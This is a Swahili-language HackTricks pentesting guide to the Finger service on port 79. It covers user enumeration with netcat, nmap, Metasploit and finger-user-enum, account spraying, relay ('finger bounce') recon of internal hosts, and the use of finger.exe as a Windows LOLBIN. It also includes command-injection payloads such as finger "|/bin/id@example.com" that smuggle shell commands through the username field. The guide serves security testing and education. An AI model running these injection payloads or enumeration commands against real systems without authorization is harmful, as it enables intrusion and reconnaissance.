79 - Pentesting Finger

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Taarifa za Msingi

Programu/servisi ya Finger hutumika kupata maelezo kuhusu watumiaji wa kompyuta. Kwa kawaida, taarifa zinazotolewa zinajumuisha jina la kuingia la mtumiaji, jina kamili, na, katika baadhi ya matukio, maelezo ya ziada. Maelezo haya yanaweza kujumuisha eneo la ofisi na nambari ya simu (ikiwa inapatikana), wakati mtumiaji alivyokuwa ameingia, kipindi cha kutokuwa na shughuli (idle time), wakati barua iliposomwa mara ya mwisho na mtumiaji, na yaliyomo kwenye faili za .plan / .project za mtumiaji.

Kutoka kwa mtazamo wa pentesting, Finger bado inavutia kwa sababu protokoli ni ndogo sana, inayosomeka na binadamu, na mara nyingi imefunikwa na kutumia mantiki ya uchambuzi ya zamani. Daemon inaweza kufunua:

  • watumiaji walioingia kwa sasa
  • majina kamili / GECOS data
  • katalogi za nyumbani, shells, nyakati za kuingia za mwisho, na TTYs
  • yaliyomo kwenye .plan / .project
  • tabia ya relay ya kuuliza host wa pili kupitia host wa kwanza

Bandari ya chaguo-msingi: 79

PORT   STATE SERVICE
79/tcp open  finger

Enumeration

nc -vn <IP> 79
echo "root" | nc -vn <IP> 79
printf '\r\n' | nc -vn <IP> 79         # Null query: ask for logged-in users
printf '/W root\r\n' | nc -vn <IP> 79  # Long format, if the daemon supports it

Protokoli ni ASCII over TCP/79, kawaida huishia kwa CRLF, na server closes the TCP connection baada ya majibu. Kwa vitendo, null query (\r\n) mara nyingi inatosha kupata orodha ya watumiaji wa sasa, ambayo pia ndiyo Nmap’s default finger NSE script inafanya.

User enumeration

finger @<Victim>       #List users
finger admin@<Victim>  #Get info of user
finger user@<Victim>   #Get info of user
finger -l user@<Victim> #Long format from common UNIX clients

Mbali na hayo, unaweza kutumia finger-user-enum kutoka kwa pentestmonkey, baadhi ya mifano:

finger-user-enum.pl -U users.txt -t 10.0.0.1
finger-user-enum.pl -u root -t 10.0.0.1
finger-user-enum.pl -U users.txt -T ips.txt
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Tofauti muhimu kuhusu kuorodhesha kwa Finger ni kwamba hakuna muundo madhubuti wa majibu kati ya daemons. Zana kama finger-user-enum zinafanya kazi vizuri dhidi ya huduma za aina ya Solaris kwa sababu watumiaji halali na wasio halali hutoa muundo tofauti wa maandishi, lakini unaweza kuhitaji kulinganisha kwa mikono majibu chanya na hasi na kurekebisha regexes ikiwa daemon lengwa ni ya ajabu.

Vipimo muhimu wakati daemon haijatenda kama Solaris/BSD ya kawaida:

# Null query: enumerate currently logged-in users
printf '\r\n' | nc -vn <IP> 79

# Long format
printf '/W\r\n' | nc -vn <IP> 79
printf '/W root\r\n' | nc -vn <IP> 79

# Spray several likely accounts in one go against permissive daemons
printf 'root admin oracle mysql ftp user test\r\n' | nc -vn <IP> 79

Nmap kutekeleza script kwa kutumia default scripts

nmap -sV -sC -p79 <IP>
nmap --script finger -p79 <IP>

Nmap’s finger NSE script ni salama na hutuma tu null query ili kupata orodha ya watumiaji wa sasa. Ikiwa unataka kujaribu majina ya watumiaji kwa wigo mpana dhidi ya daemons zenye kuruhusu, fikiria kupanua njia hii kwa custom wordlists au kutumia miradi kama fat-finger.nse, ambayo hutuma majina kadhaa ya akaunti zinazowezekana kwa ombi moja na kutafuta username/GECOS matches.

Metasploit inatumia mbinu zaidi kuliko Nmap

use auxiliary/scanner/finger/finger_users

Shodan

  • port:79 USER

Utekelezaji wa amri

finger "|/bin/id@example.com"
finger "|/bin/ls -a /@example.com"

RFC 1288 inaweka wazi kuwa implementations zinaweza kutekeleza user-controlled program kama mwitikio wa Finger query, na hapo ndipo chanzo cha kawaida cha uabusu wa |/bin/.... Hii ni nadra leo, lakini ikiwa utapata daemon ya custom au legacy, jaribu kwa uangalifu kwa:

  • metacharacters za shell katika utunzaji wa username
  • utekelezaji wa |program katika plan/project hooks
  • backend wrappers zinazomkabidhi username kwa shell script au CGI

Kumbuka pia njia ya uabusu ya client-side kwenye Windows: finger.exe ni LOLBIN iliyosainiwa inayoweza kupata maandishi yoyote kutoka kwa remote Finger server kwa TCP/79, kisha kupeleka pato hilo kwa process nyingine. Mbinu hiyo inahusiana zaidi na post-exploitation kuliko service enumeration, kwa hivyo angalia the Linux reverse-shell page kwa wazo la shell transport na uiweke akilini unapoiga attacker tradecraft.

Finger Bounce

Use a system as a finger relay

finger user@host@victim
finger @internal@external

Hii si tu kasoro ya utekelezaji: RFC 1288 inafafanua recursive @hostname forwarding ({Q2} queries). Ikiwa daemon inasaidia relaying, seva ya kati hufungua muunganisho wa pili wa Finger kwa niaba yako na kurejesha jibu kupitia socket ya awali. Hii inamaanisha:

  • mwenyeji wako huenda hawezi kuunganishwa moja kwa moja na lengo la mwisho
  • relay inaweza kutumika kuorodhesha watumiaji wa ndani kutoka kwenye huduma ya Finger iliyo wazi
  • finger-user-enum inaunga mkono hili moja kwa moja kwa -r <relay>

Mfano:

# Ask 10.0.0.1 to finger root on 10.0.0.2
printf 'root@10.0.0.2\r\n' | nc -vn 10.0.0.1 79

# Enumerate usernames on 10.0.0.2 through relay 10.0.0.1
finger-user-enum.pl -U users.txt -t 10.0.0.2 -r 10.0.0.1

Ikiwa relaying inafanya kazi, itumie kama internal recon primitive na linganisha output iliyorelay na output ya moja kwa moja ya public daemon. Utofauti wa formatting au filtering mara nyingi hufunua kama relay path inasimamiwa na backend tofauti au wrapper.

Marejeleo

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks